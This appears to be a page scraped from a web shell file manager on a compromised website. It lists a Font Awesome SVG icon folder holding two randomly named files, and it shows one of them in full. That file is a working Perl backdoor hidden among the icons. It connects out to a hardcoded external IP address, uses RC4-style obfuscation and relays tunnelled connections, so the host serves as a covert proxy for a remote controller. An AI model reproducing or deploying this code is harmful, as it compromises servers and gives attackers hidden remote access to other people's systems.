X7ROOT File Manager
Current Path:
/home/softbdltd/parkwaytec.com/fonts/font-awesome/svgs/regular
home
/
softbdltd
/
parkwaytec.com
/
fonts
/
font-awesome
/
svgs
/
regular
/
??
..
??
address-book.svg
(795 B)
??
address-card.svg
(895 B)
??
angry.svg
(996 B)
??
arrow-alt-circle-down.svg
(565 B)
??
arrow-alt-circle-left.svg
(559 B)
??
arrow-alt-circle-right.svg
(568 B)
??
arrow-alt-circle-up.svg
(565 B)
??
bell-slash.svg
(971 B)
??
bell.svg
(829 B)
??
bookmark.svg
(414 B)
??
building.svg
(1.03 KB)
??
calendar-alt.svg
(1.09 KB)
??
calendar-check.svg
(835 B)
??
calendar-minus.svg
(626 B)
??
calendar-plus.svg
(730 B)
??
calendar-times.svg
(825 B)
??
calendar.svg
(529 B)
??
caret-square-down.svg
(570 B)
??
caret-square-left.svg
(568 B)
??
caret-square-right.svg
(568 B)
??
caret-square-up.svg
(567 B)
??
chart-bar.svg
(928 B)
??
check-circle.svg
(761 B)
??
check-square.svg
(680 B)
??
circle.svg
(412 B)
??
clipboard.svg
(615 B)
??
clock.svg
(584 B)
??
clone.svg
(608 B)
??
closed-captioning.svg
(920 B)
??
comment-alt.svg
(542 B)
??
comment-dots.svg
(913 B)
??
comment.svg
(698 B)
??
comments.svg
(1.12 KB)
??
compass.svg
(773 B)
??
copy.svg
(768 B)
??
copyright.svg
(964 B)
??
credit-card.svg
(699 B)
??
dizzy.svg
(1.03 KB)
??
dot-circle.svg
(552 B)
??
edit.svg
(778 B)
??
envelope-open.svg
(1.29 KB)
??
envelope.svg
(754 B)
??
eye-slash.svg
(1.02 KB)
??
eye.svg
(689 B)
??
file-alt.svg
(690 B)
??
file-archive.svg
(790 B)
??
file-audio.svg
(864 B)
??
file-code.svg
(1.01 KB)
??
file-excel.svg
(852 B)
??
file-image.svg
(657 B)
??
file-pdf.svg
(1.03 KB)
??
file-powerpoint.svg
(710 B)
??
file-video.svg
(764 B)
??
file-word.svg
(1.01 KB)
??
file.svg
(484 B)
??
flag.svg
(972 B)
??
flushed.svg
(929 B)
??
folder-open.svg
(548 B)
??
folder.svg
(487 B)
??
font-awesome-logo-full.svg
(3.1 KB)
??
frown-open.svg
(721 B)
??
frown.svg
(778 B)
??
futbol.svg
(905 B)
??
gem.svg
(626 B)
??
grimace.svg
(902 B)
??
grin-alt.svg
(900 B)
??
grin-beam-sweat.svg
(1.25 KB)
??
grin-beam.svg
(1000 B)
??
grin-hearts.svg
(942 B)
??
grin-squint-tears.svg
(1.53 KB)
??
grin-squint.svg
(950 B)
??
grin-stars.svg
(1019 B)
??
grin-tears.svg
(1.47 KB)
??
grin-tongue-squint.svg
(1.18 KB)
??
grin-tongue-wink.svg
(1.23 KB)
??
grin-tongue.svg
(986 B)
??
grin-wink.svg
(901 B)
??
grin.svg
(722 B)
??
gusyq9lt
(9.03 KB)
??
hand-lizard.svg
(955 B)
??
hand-paper.svg
(1.14 KB)
??
hand-peace.svg
(1.27 KB)
??
hand-point-down.svg
(1.28 KB)
??
hand-point-left.svg
(1.29 KB)
??
hand-point-right.svg
(1.29 KB)
??
hand-point-up.svg
(1.29 KB)
??
hand-pointer.svg
(1.54 KB)
??
hand-rock.svg
(1.28 KB)
??
hand-scissors.svg
(1.27 KB)
??
hand-spock.svg
(1.63 KB)
??
handshake.svg
(1.28 KB)
??
hdd.svg
(722 B)
??
heart.svg
(670 B)
??
hospital.svg
(1.22 KB)
??
hourglass.svg
(727 B)
??
id-badge.svg
(713 B)
??
id-card.svg
(863 B)
??
image.svg
(671 B)
??
images.svg
(824 B)
??
keyboard.svg
(1.8 KB)
??
kiss-beam.svg
(1.17 KB)
??
kiss-wink-heart.svg
(1.33 KB)
??
kiss.svg
(912 B)
??
laugh-beam.svg
(975 B)
??
laugh-squint.svg
(872 B)
??
laugh-wink.svg
(895 B)
??
laugh.svg
(775 B)
??
lemon.svg
(1.12 KB)
??
life-ring.svg
(917 B)
??
lightbulb.svg
(1.01 KB)
??
list-alt.svg
(1.01 KB)
??
map.svg
(759 B)
??
meh-blank.svg
(556 B)
??
meh-rolling-eyes.svg
(1006 B)
??
meh.svg
(644 B)
??
minus-square.svg
(556 B)
??
money-bill-alt.svg
(845 B)
??
moon.svg
(779 B)
??
newspaper.svg
(1.1 KB)
??
object-group.svg
(1.07 KB)
??
object-ungroup.svg
(1.26 KB)
??
paper-plane.svg
(621 B)
??
pause-circle.svg
(612 B)
??
play-circle.svg
(524 B)
??
plus-square.svg
(660 B)
??
question-circle.svg
(1009 B)
??
registered.svg
(914 B)
??
sad-cry.svg
(1.02 KB)
??
sad-tear.svg
(841 B)
??
save.svg
(779 B)
??
share-square.svg
(1.15 KB)
??
smile-beam.svg
(1.03 KB)
??
smile-wink.svg
(861 B)
??
smile.svg
(769 B)
??
snowflake.svg
(1.74 KB)
??
square.svg
(452 B)
??
star-half.svg
(462 B)
??
star.svg
(628 B)
??
sticky-note.svg
(523 B)
??
stop-circle.svg
(517 B)
??
sun.svg
(1.11 KB)
??
surprise.svg
(627 B)
??
thumbs-down.svg
(1.2 KB)
??
thumbs-up.svg
(1.2 KB)
??
times-circle.svg
(728 B)
??
tired.svg
(950 B)
??
trash-alt.svg
(761 B)
??
user-circle.svg
(845 B)
??
user.svg
(701 B)
??
vavtt83p
(9.03 KB)
??
window-close.svg
(783 B)
??
window-maximize.svg
(420 B)
??
window-minimize.svg
(348 B)
??
window-restore.svg
(498 B)
Editing: gusyq9lt
#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.178'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port);
Upload File
Create Folder